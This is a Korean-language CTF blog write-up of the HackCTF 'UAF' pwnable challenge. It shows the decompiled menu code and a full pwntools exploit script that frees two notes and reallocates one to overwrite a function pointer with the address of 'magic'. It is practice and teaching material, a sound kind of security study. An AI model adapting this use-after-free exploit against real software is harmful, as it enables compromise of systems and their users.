tmxklab
[HackCTF/Pwnable] UAF 본문
1. 문제
nc ctf.j0n9hyun.xyz 3020
1) mitigation
2) 문제 확인
3) 코드흐름 파악
3-1) main()
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // eax
char buf; // [esp+8h] [ebp-10h]
unsigned int v5; // [esp+Ch] [ebp-Ch]
v5 = __readgsdword(0x14u);
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
while ( 1 )
{
while ( 1 )
{
menu();
read(0, &buf, 4u);
v3 = atoi(&buf);
if ( v3 != 2 )
break;
del_note();
}
if ( v3 > 2 )
{
if ( v3 == 3 )
{
print_note();
}
else
{
if ( v3 == 4 )
exit(0);
LABEL_13:
puts(&byte_8048D08);
}
}
else
{
if ( v3 != 1 )
goto LABEL_13;
add_note();
}
}
}
3-2) magic함수
int __cdecl print_note_content(int a1)
{
return puts(*(const char **)(a1 + 4));
}
-
요거를 호출하면 된다.
추가로 add_note(), del_note(), print_note()가 있지만 hitcon training의 LAB10 uaf문제와 아주 유사하기 때문에(로직도 엄청 똑같음ㅋㅋ) 따로 올리진 않았다.
참고 :
2. 접근 방법
접근 방법이나 문제 풀이 방법은 위 링크를 참고하길 바란다.
(두 번 쓰기 귀찮... 어차피 거의 유사한 문제니깐)
3. 풀이
1) 익스 코드
from pwn import *
#context.log_level = "debug"
p = remote("ctf.j0n9hyun.xyz", 3020)
e = ELF("./uaf")
magic_addr = p32(e.symbols['magic'])
def add_note(size, content):
p.sendlineafter(":", "1")
p.sendlineafter(":", str(size))
p.sendlineafter(":", content)
def del_note(index):
p.sendlineafter(":", "2")
p.sendlineafter(":", str(index))
def print_note(index):
p.sendlineafter(":", "3")
p.sendlineafter(":", str(index))
add_note(16, "A")
add_note(16, "A")
del_note(0)
del_note(1)
add_note(8, magic_addr)
print_note(0)
p.interactive()
2) 공격 실행
'War Game > HackCTF' 카테고리의 다른 글
[HackCTF/Pwnable] Unexploitable #1 (0) | 2020.08.06 |
---|---|
[HackCTF/Pwnable] ROP (0) | 2020.07.20 |
[HackCTF/Pwnable] you_are_silver (0) | 2020.06.30 |
[HackCTF/Pwnable] Pwning (2) | 2020.06.23 |
[HackCTF/Pwnable] pzshell (0) | 2020.06.11 |
Comments